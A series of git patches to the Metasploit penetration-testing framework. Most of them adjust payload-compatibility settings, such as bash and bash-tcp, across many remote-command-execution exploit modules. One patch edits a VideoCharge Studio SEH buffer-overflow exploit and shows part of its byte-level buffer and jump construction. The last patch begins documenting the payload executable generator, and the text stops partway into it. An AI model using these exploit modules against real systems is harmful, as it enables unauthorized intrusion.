b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb @@ -51,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet', + 'RequiredCmd' => 'generic perl ruby telnet', } }, 'Targets' => diff --git a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb index 4543c65bd3..2048a5c6fc 100644 --- a/modules/exploits/linux/misc/nagios_nrpe_arguments.rb +++ b/modules/exploits/linux/misc/nagios_nrpe_arguments.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'perl python ruby bash telnet', + 'RequiredCmd' => 'perl python ruby telnet', # *_perl, *_python and *_ruby work if they are installed } }, diff --git a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb index 99a06bd5bd..eae0dc278f 100644 --- a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb +++ b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'ConnectionType' => 'find', 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python bash telnet' + 'RequiredCmd' => 'generic perl ruby python telnet' } }, 'Platform' => %w{ bsd linux osx unix win }, diff --git a/modules/exploits/multi/http/cups_bash_env_exec.rb b/modules/exploits/multi/http/cups_bash_env_exec.rb index b87e22177b..57b028d97a 100644 --- a/modules/exploits/multi/http/cups_bash_env_exec.rb +++ b/modules/exploits/multi/http/cups_bash_env_exec.rb @@ -41,7 +41,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic bash awk ruby' + 'RequiredCmd' => 'generic awk ruby' }, # Tested: # - CUPS version 1.4.3 on Ubuntu 10.04 (x86) diff --git a/modules/exploits/multi/http/git_client_command_exec.rb b/modules/exploits/multi/http/git_client_command_exec.rb index 1911b33306..566cfea515 100644 --- a/modules/exploits/multi/http/git_client_command_exec.rb +++ b/modules/exploits/multi/http/git_client_command_exec.rb @@ -69,7 +69,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd cmd_bash', - 'RequiredCmd' => 'generic bash-tcp perl bash' + 'RequiredCmd' => 'generic bash-tcp perl' } } } diff --git a/modules/exploits/multi/http/moodle_cmd_exec.rb b/modules/exploits/multi/http/moodle_cmd_exec.rb index 624e97f3c4..fa019366ef 100644 --- a/modules/exploits/multi/http/moodle_cmd_exec.rb +++ b/modules/exploits/multi/http/moodle_cmd_exec.rb @@ -44,7 +44,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet python', + 'RequiredCmd' => 'generic perl ruby telnet python', } }, 'Platform' => ['unix', 'linux'], diff --git a/modules/exploits/multi/http/openmediavault_cmd_exec.rb b/modules/exploits/multi/http/openmediavault_cmd_exec.rb index 363388ed8e..4be4d81ca7 100644 --- a/modules/exploits/multi/http/openmediavault_cmd_exec.rb +++ b/modules/exploits/multi/http/openmediavault_cmd_exec.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet python', + 'RequiredCmd' => 'generic perl ruby telnet python', } }, 'Platform' => ['unix', 'linux'], diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb index efb8f203b0..298234721b 100644 --- a/modules/exploits/multi/http/phptax_exec.rb +++ b/modules/exploits/multi/http/phptax_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'ConnectionType' => 'find', 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet python' + 'RequiredCmd' => 'generic perl ruby telnet python' } }, 'Platform' => %w{ linux unix }, diff --git a/modules/exploits/multi/http/snortreport_exec.rb b/modules/exploits/multi/http/snortreport_exec.rb index 68fbdb2704..077c327a73 100644 --- a/modules/exploits/multi/http/snortreport_exec.rb +++ b/modules/exploits/multi/http/snortreport_exec.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet python', + 'RequiredCmd' => 'generic perl ruby telnet python', } }, 'Platform' => %w{ linux unix }, diff --git a/modules/exploits/multi/http/zabbix_script_exec.rb b/modules/exploits/multi/http/zabbix_script_exec.rb index f775aa2ceb..de4afd7a6a 100644 --- a/modules/exploits/multi/http/zabbix_script_exec.rb +++ b/modules/exploits/multi/http/zabbix_script_exec.rb @@ -35,7 +35,7 @@ class Metasploit4 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet python', + 'RequiredCmd' => 'generic perl ruby telnet python', } }, 'Platform' => ['unix', 'linux'], diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index 08545a601c..a30eb0a5e5 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl telnet bash' + 'RequiredCmd' => 'generic perl telnet' } }, 'DefaultOptions' => diff --git a/modules/exploits/osx/browser/software_update.rb b/modules/exploits/osx/browser/software_update.rb index 13d049e81a..d360a35626 100644 --- a/modules/exploits/osx/browser/software_update.rb +++ b/modules/exploits/osx/browser/software_update.rb @@ -33,8 +33,8 @@ class Metasploit3 < Msf::Exploit::Remote 'DisableNops' => true, 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl ruby bash telnet bash-tcp', } }, 'Platform' => 'osx', diff --git a/modules/exploits/osx/email/mailapp_image_exec.rb b/modules/exploits/osx/email/mailapp_image_exec.rb index ef30c099f0..fe08b1e373 100644 --- a/modules/exploits/osx/email/mailapp_image_exec.rb +++ b/modules/exploits/osx/email/mailapp_image_exec.rb @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'PayloadCompat' => { - 'RequiredCmd' => 'generic perl ruby bash telnet', + 'RequiredCmd' => 'generic perl ruby bash-tcp telnet', } } ], diff --git a/modules/exploits/unix/dhcp/bash_environment.rb b/modules/exploits/unix/dhcp/bash_environment.rb index 7e89250ebe..09e5fa04f6 100644 --- a/modules/exploits/unix/dhcp/bash_environment.rb +++ b/modules/exploits/unix/dhcp/bash_environment.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic bash telnet ruby', + 'RequiredCmd' => 'generic telnet ruby', } }, 'Targets' => [ [ 'Automatic Target', { }] ], diff --git a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb index af6965cfca..f35930adfb 100644 --- a/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb +++ b/modules/exploits/unix/ftp/proftpd_modcopy_exec.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic gawk bash python perl' + 'RequiredCmd' => 'generic gawk python perl' } }, 'Targets' => diff --git a/modules/exploits/unix/http/ctek_skyrouter.rb b/modules/exploits/unix/http/ctek_skyrouter.rb index 7cad0bbb50..ff6c6bb7a9 100644 --- a/modules/exploits/unix/http/ctek_skyrouter.rb +++ b/modules/exploits/unix/http/ctek_skyrouter.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl telnet netcat netcat-e bash', + 'RequiredCmd' => 'generic perl telnet netcat netcat-e', } }, 'Platform' => 'unix', diff --git a/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb b/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb index e89a4224ba..c9a00bc53e 100644 --- a/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb +++ b/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet', + 'RequiredCmd' => 'generic perl ruby telnet', } }, 'Targets' => diff --git a/modules/exploits/unix/misc/distcc_exec.rb b/modules/exploits/unix/misc/distcc_exec.rb index 25625e10b4..6a4c335ca5 100644 --- a/modules/exploits/unix/misc/distcc_exec.rb +++ b/modules/exploits/unix/misc/distcc_exec.rb @@ -38,8 +38,8 @@ class Metasploit3 < Msf::Exploit::Remote 'DisableNops' => true, 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet openssl', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl ruby bash telnet openssl bash-tcp', } }, 'Targets' => diff --git a/modules/exploits/unix/misc/spamassassin_exec.rb b/modules/exploits/unix/misc/spamassassin_exec.rb index d116f47fa6..1445b92a9c 100644 --- a/modules/exploits/unix/misc/spamassassin_exec.rb +++ b/modules/exploits/unix/misc/spamassassin_exec.rb @@ -34,8 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1024, 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl ruby bash-tcp telnet', } }, 'Platform' => 'unix', diff --git a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb index c2f2633ca7..c504ba9392 100644 --- a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb +++ b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb @@ -35,8 +35,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1024, 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl ruby bash-tcp telnet', } }, 'Platform' => 'unix', diff --git a/modules/exploits/unix/smtp/exim4_string_format.rb b/modules/exploits/unix/smtp/exim4_string_format.rb index eb605c45f0..a985514797 100644 --- a/modules/exploits/unix/smtp/exim4_string_format.rb +++ b/modules/exploits/unix/smtp/exim4_string_format.rb @@ -67,7 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet', + 'RequiredCmd' => 'generic perl ruby telnet', } }, 'Platform' => 'unix', diff --git a/modules/exploits/unix/webapp/awstats_configdir_exec.rb b/modules/exploits/unix/webapp/awstats_configdir_exec.rb index ac2e0dfba5..bc273029c4 100644 --- a/modules/exploits/unix/webapp/awstats_configdir_exec.rb +++ b/modules/exploits/unix/webapp/awstats_configdir_exec.rb @@ -36,8 +36,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 512, 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python bash telnet', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl ruby python telnet bash-tcp', } }, 'Platform' => 'unix', diff --git a/modules/exploits/unix/webapp/awstats_migrate_exec.rb b/modules/exploits/unix/webapp/awstats_migrate_exec.rb index af914a848d..516bac7a51 100644 --- a/modules/exploits/unix/webapp/awstats_migrate_exec.rb +++ b/modules/exploits/unix/webapp/awstats_migrate_exec.rb @@ -39,8 +39,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 512, 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python bash telnet', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl ruby python bash-tcp telnet', } }, 'Platform' => 'unix', diff --git a/modules/exploits/unix/webapp/awstatstotals_multisort.rb b/modules/exploits/unix/webapp/awstatstotals_multisort.rb index 770fa8a4f2..21740ab4c0 100644 --- a/modules/exploits/unix/webapp/awstatstotals_multisort.rb +++ b/modules/exploits/unix/webapp/awstatstotals_multisort.rb @@ -35,8 +35,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 512, 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python bash telnet', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl ruby python bash-tcp telnet', } }, 'Platform' => 'unix', diff --git a/modules/exploits/unix/webapp/barracuda_img_exec.rb b/modules/exploits/unix/webapp/barracuda_img_exec.rb index 4c73e90a4c..efd696926d 100644 --- a/modules/exploits/unix/webapp/barracuda_img_exec.rb +++ b/modules/exploits/unix/webapp/barracuda_img_exec.rb @@ -35,8 +35,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 4000, 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl ruby bash-tcp telnet', } }, 'Platform' => 'unix', diff --git a/modules/exploits/unix/webapp/basilic_diff_exec.rb b/modules/exploits/unix/webapp/basilic_diff_exec.rb index efcb07a83c..3dcef095f8 100644 --- a/modules/exploits/unix/webapp/basilic_diff_exec.rb +++ b/modules/exploits/unix/webapp/basilic_diff_exec.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python bash telnet' + 'RequiredCmd' => 'generic perl ruby python telnet' } }, 'Targets' => diff --git a/modules/exploits/unix/webapp/cacti_graphimage_exec.rb b/modules/exploits/unix/webapp/cacti_graphimage_exec.rb index 90941fd7ee..66ab5cdf4e 100644 --- a/modules/exploits/unix/webapp/cacti_graphimage_exec.rb +++ b/modules/exploits/unix/webapp/cacti_graphimage_exec.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python bash telnet', + 'RequiredCmd' => 'generic perl ruby python telnet', } }, 'Platform' => 'unix', diff --git a/modules/exploits/unix/webapp/dogfood_spell_exec.rb b/modules/exploits/unix/webapp/dogfood_spell_exec.rb index de725fce9d..7ae0f83833 100644 --- a/modules/exploits/unix/webapp/dogfood_spell_exec.rb +++ b/modules/exploits/unix/webapp/dogfood_spell_exec.rb @@ -41,8 +41,8 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => %q|'"`|, # quotes are escaped by PHP's magic_quotes_gpc in a default install 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python bash telnet', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl ruby python bash-tcp telnet', } }, 'Targets' => [ ['Automatic', { }], ], diff --git a/modules/exploits/unix/webapp/foswiki_maketext.rb b/modules/exploits/unix/webapp/foswiki_maketext.rb index 95c28d2a60..0cb8ac52d9 100644 --- a/modules/exploits/unix/webapp/foswiki_maketext.rb +++ b/modules/exploits/unix/webapp/foswiki_maketext.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic ruby python bash telnet' + 'RequiredCmd' => 'generic ruby python telnet' } }, 'Platform' => [ 'unix' ], diff --git a/modules/exploits/unix/webapp/generic_exec.rb b/modules/exploits/unix/webapp/generic_exec.rb index 137cabbe9c..2ae8d9d41a 100644 --- a/modules/exploits/unix/webapp/generic_exec.rb +++ b/modules/exploits/unix/webapp/generic_exec.rb @@ -30,8 +30,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1024, 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl telnet netcat netcat-e bash', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl telnet netcat netcat-e bash-tcp', } }, 'Platform' => 'unix', diff --git a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb index b1d5b70f13..131a9b0928 100644 --- a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb +++ b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb @@ -37,8 +37,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 4000, 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl bash telnet netcat netcat-e', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl bash-tcp telnet netcat netcat-e', } }, 'Platform' => 'unix', diff --git a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb index 48f3fd180c..53b9e6911c 100644 --- a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb +++ b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb @@ -39,8 +39,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1024, 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python bash telnet', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl ruby python bash-tcp telnet', } }, 'Platform' => %w{ linux unix win }, diff --git a/modules/exploits/unix/webapp/mitel_awc_exec.rb b/modules/exploits/unix/webapp/mitel_awc_exec.rb index 5c00daddd4..36a4990de3 100644 --- a/modules/exploits/unix/webapp/mitel_awc_exec.rb +++ b/modules/exploits/unix/webapp/mitel_awc_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python bash telnet', + 'RequiredCmd' => 'generic perl ruby python telnet', } }, 'Targets' => [ ['Automatic', { }], ], diff --git a/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb b/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb index d018850f22..dde396f3d6 100644 --- a/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb +++ b/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => '<>', 'Compat' => { - 'RequiredCmd' => 'generic perl ruby python bash telnet', + 'RequiredCmd' => 'generic perl ruby python bash-tcp telnet', } }, 'Targets' => diff --git a/modules/exploits/unix/webapp/nagios_graph_explorer.rb b/modules/exploits/unix/webapp/nagios_graph_explorer.rb index 5b74e603e8..e911858220 100644 --- a/modules/exploits/unix/webapp/nagios_graph_explorer.rb +++ b/modules/exploits/unix/webapp/nagios_graph_explorer.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl python ruby bash telnet', + 'RequiredCmd' => 'generic perl python ruby telnet', } }, 'Platform' => ['unix'], diff --git a/modules/exploits/unix/webapp/narcissus_backend_exec.rb b/modules/exploits/unix/webapp/narcissus_backend_exec.rb index 20460bc801..7a6eda7b35 100644 --- a/modules/exploits/unix/webapp/narcissus_backend_exec.rb +++ b/modules/exploits/unix/webapp/narcissus_backend_exec.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python bash netcat netcat-e' + 'RequiredCmd' => 'generic perl ruby python netcat netcat-e' }, 'Targets' => [ diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb index 0817c8863f..48283d3cf8 100644 --- a/modules/exploits/unix/webapp/opensis_modname_exec.rb +++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic telnet bash netcat netcat-e perl ruby python', + 'RequiredCmd' => 'generic telnet netcat netcat-e perl ruby python', } }, 'DefaultOptions' => diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb index 7089e5a75e..73e429eb4e 100644 --- a/modules/exploits/unix/webapp/php_charts_exec.rb +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic telnet bash netcat netcat-e perl ruby python', + 'RequiredCmd' => 'generic telnet netcat netcat-e perl ruby python', } }, 'DefaultOptions' => diff --git a/modules/exploits/unix/webapp/phpbb_highlight.rb b/modules/exploits/unix/webapp/phpbb_highlight.rb index 14312a2f42..009305625b 100644 --- a/modules/exploits/unix/webapp/phpbb_highlight.rb +++ b/modules/exploits/unix/webapp/phpbb_highlight.rb @@ -41,8 +41,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1024, 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python bash telnet', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl ruby python bash-tcp telnet', } }, 'Platform' => 'unix', diff --git a/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb b/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb index f0aaa6d5e2..5e43183164 100644 --- a/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb +++ b/modules/exploits/unix/webapp/qtss_parse_xml_exec.rb @@ -34,8 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 512, 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl bash telnet', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl bash-tcp telnet', } }, 'Platform' => 'unix', diff --git a/modules/exploits/unix/webapp/skybluecanvas_exec.rb b/modules/exploits/unix/webapp/skybluecanvas_exec.rb index b57f74698c..7c48cb9502 100644 --- a/modules/exploits/unix/webapp/skybluecanvas_exec.rb +++ b/modules/exploits/unix/webapp/skybluecanvas_exec.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'ConnectionType' => 'find', 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby bash telnet python' + 'RequiredCmd' => 'generic perl ruby telnet python' } }, 'Platform' => %w{ unix }, diff --git a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb index 6157612aed..3e3df1ab65 100644 --- a/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb +++ b/modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb @@ -46,8 +46,8 @@ class Metasploit3 < Msf::Exploit::Remote 'BadChars' => '', 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python bash telnet', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl ruby python bash-tcp telnet', } }, 'Targets' => diff --git a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb index 2db6d449fb..a1ba47c228 100644 --- a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb @@ -38,8 +38,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Space' => 1024, 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python bash telnet', + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic perl ruby python bash-tcp telnet', } }, 'Platform' => 'unix', diff --git a/modules/exploits/unix/webapp/twiki_maketext.rb b/modules/exploits/unix/webapp/twiki_maketext.rb index 5b12cfd78e..c371316749 100644 --- a/modules/exploits/unix/webapp/twiki_maketext.rb +++ b/modules/exploits/unix/webapp/twiki_maketext.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic ruby python bash telnet' + 'RequiredCmd' => 'generic ruby python telnet' } }, 'Platform' => [ 'unix' ], diff --git a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb index e2524e519e..652d68b0fe 100644 --- a/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'PayloadType' => 'cmd', # Based on vicibox availability of binaries - 'RequiredCmd' => 'generic perl python awk bash telnet nc openssl', + 'RequiredCmd' => 'generic perl python awk telnet nc openssl', } }, 'Targets' => diff --git a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb index c9eb84ea77..29c80dd4bf 100644 --- a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb +++ b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl ruby python bash telnet', + 'RequiredCmd' => 'generic perl ruby python telnet', } }, 'Platform' => 'unix', diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index c0b5f3a306..5add6e428a 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic telnet python perl bash', + 'RequiredCmd' => 'generic telnet python perl', }, }, 'Targets' => From 4c28cae5d1cb16115b599b43fa7ac4b764487845 Mon Sep 17 00:00:00 2001 From: jakxx <jakx.ppr@gmail.com> Date: Mon, 10 Aug 2015 18:38:23 -0400 Subject: [PATCH 0244/2172] updated to include recommendation from @zerosteiner --- modules/exploits/windows/fileformat/videocharge_studio.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/fileformat/videocharge_studio.rb b/modules/exploits/windows/fileformat/videocharge_studio.rb index 58d3fb2132..6c2fe3dd6e 100644 --- a/modules/exploits/windows/fileformat/videocharge_studio.rb +++ b/modules/exploits/windows/fileformat/videocharge_studio.rb @@ -9,11 +9,10 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT - include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, - 'Name' => 'VideoCharge Studio 2.12.3.685 Buffer Overflow (SEH)', + 'Name' => 'VideoCharge Studio Buffer Overflow (SEH)', 'Description' => %q{ This module exploits a stack based buffer overflow in VideoCharge Studio 2.12.3.685 when processing a specially crafted .VSC file. This vulnerability could be @@ -29,7 +28,6 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'OSVDB', '69616' ], - [ 'CVE', '' ], [ 'EBD', '29234' ] ], 'DefaultOptions' => @@ -75,9 +73,9 @@ class Metasploit3 < Msf::Exploit::Remote buffer << "\x4E\x61\x6D\x65\x22\x20\x74\x79\x70\x65\x3D\x22\x38\x22\x20\x76\x61\x6C\x75\x65\x3D\x22" buffer << "\x41" * (target['Offset']-payload.encoded.length) buffer << payload.encoded - buffer << "\xeb\x06\x90\x90" #nseh negative jump + buffer << Rex::Arch::X86.jmp_short(6) + make_nops(2) buffer << [target.ret].pack("V") - buffer << "\xe9\x3f\xfd\xff\xff" #long jump + buffer << Rex::Arch::X86.jmp('$-444') buffer << "\x22\x2F\x3E\x0A\x0A\x3C\x2F\x50\x72\x6F\x70\x65\x72\x74\x79\x3E\x0A\x0A\x3C\x2F" buffer << "\x63\x6F\x6C\x73\x3E\x0A\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61\x6D\x65\x3D\x22\x52\x6F" buffer << "\x6D\x61\x6E\x69\x61\x20\x53\x65\x63\x75\x72\x69\x74\x79\x20\x54\x65\x61\x6D\x22\x2F" From 802e35ff67f1cd4978e6c50426f03b07b8134df9 Mon Sep 17 00:00:00 2001 From: Mo Sadek <msadek@rapid7.com> Date: Thu, 25 Jun 2015 15:05:51 -0500 Subject: [PATCH 0245/2172] YARD Documentation for EXE.rb --- lib/msf/util/exe.rb | 316 ++++++++++++++++++++++++++++++++++++++------ 1 file changed, 276 insertions(+), 40 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 7d6ea6e274..9cb5894d9a 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -21,14 +21,17 @@ require 'digest/sha1' require 'msf/core/exe/segment_injector' require 'msf/core/exe/segment_appender' - ## + # self.set_template_default + # Generates a default template # - # Helper functions common to multiple generators - # - ## - + # @param opts [Hash] The options hash + # @option opts [Hash] :template, 